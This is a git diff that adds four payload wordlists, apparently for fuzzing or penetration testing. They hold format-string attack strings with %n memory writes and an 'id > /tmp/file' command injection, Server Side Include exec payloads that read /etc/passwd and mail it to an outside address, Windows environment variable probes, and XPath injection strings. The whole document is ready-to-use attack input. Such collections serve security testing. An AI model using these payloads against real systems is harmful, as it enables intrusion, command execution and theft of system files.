diff --git a/payloads/format_string.txt b/payloads/format_string.txt
new file mode 100644
index 0000000..29037b6
--- /dev/null
+++ b/payloads/format_string.txt
@@ -0,0 +1,28 @@
+%s%p%x%d
+.1024d
+%.2049d
+%p%p%p%p
+%x%x%x%x
+%d%d%d%d
+%s%s%s%s
+%99999999999s
+%08x
+%%20d
+%%20n
+%%20x
+%%20s
+%s%s%s%s%s%s%s%s%s%s
+%p%p%p%p%p%p%p%p%p%p
+%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%
+f(x)=%s x 123
+f(x)=%x x 255
+%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
+%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
+XXXXX.%p
+XXXXX`perl -e 'print ".%p" x 80'`
+`perl -e 'print ".%p" x 80'`%n
+%08x.%08x.%08x.%08x.%08x\n
+XXX0_%08x.%08x.%08x.%08x.%08x\n
+%.16705u%2\$hn
+\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id > /tmp/file; exit;
\ No newline at end of file
diff --git a/payloads/ssi.txt b/payloads/ssi.txt
new file mode 100644
index 0000000..c0464ce
--- /dev/null
+++ b/payloads/ssi.txt
@@ -0,0 +1,4 @@
+<!--#exec cmd="/bin/ls /" --><br/>
+<!--#exec cmd="cat /etc/passwd" --><br/>
+<!--#exec cmd="find / -name *.* -print" --><br/>
+<!--#exec cmd="mail Florian Roth @4nc4p <mailto:Florian Roth @4nc4p> < cat /etc/passwd" --><br/>
\ No newline at end of file
diff --git a/payloads/windows_variables.txt b/payloads/windows_variables.txt
new file mode 100644
index 0000000..d2d16e8
--- /dev/null
+++ b/payloads/windows_variables.txt
@@ -0,0 +1,26 @@
+%ALLUSERSPROFILE%
+%APPDATA%
+%COMPUTERNAME%
+%COMSPEC%
+%HOMEDRIVE%
+%HOMEPATH%
+%PATH%
+%PATHEXT%
+%PROGRAMFILES%
+%PROMPT%
+%SYSTEMDRIVE%
+%SYSTEMROOT%
+%TEMP%
+%TMP%
+%USERNAME%
+%USERPROFILE%
+%WINDIR%
+%DATE%
+%TIME%
+%CD%
+%ERRORLEVEL%
+%RANDOM%
+%CommonProgramFiles%
+%LOCALAPPDATA%
+%ProgramData%
+%Public%
\ No newline at end of file
diff --git a/payloads/xpath.txt b/payloads/xpath.txt
new file mode 100644
index 0000000..bf7f0e6
--- /dev/null
+++ b/payloads/xpath.txt
@@ -0,0 +1,10 @@
+' or '1'='1
+' or ''='
+x' or 1=1 or 'x'='y
+/
+//
+//*
+*/*
+@*
+count(/child::node())
+x' or name()='username' or 'x'='y
\ No newline at end of file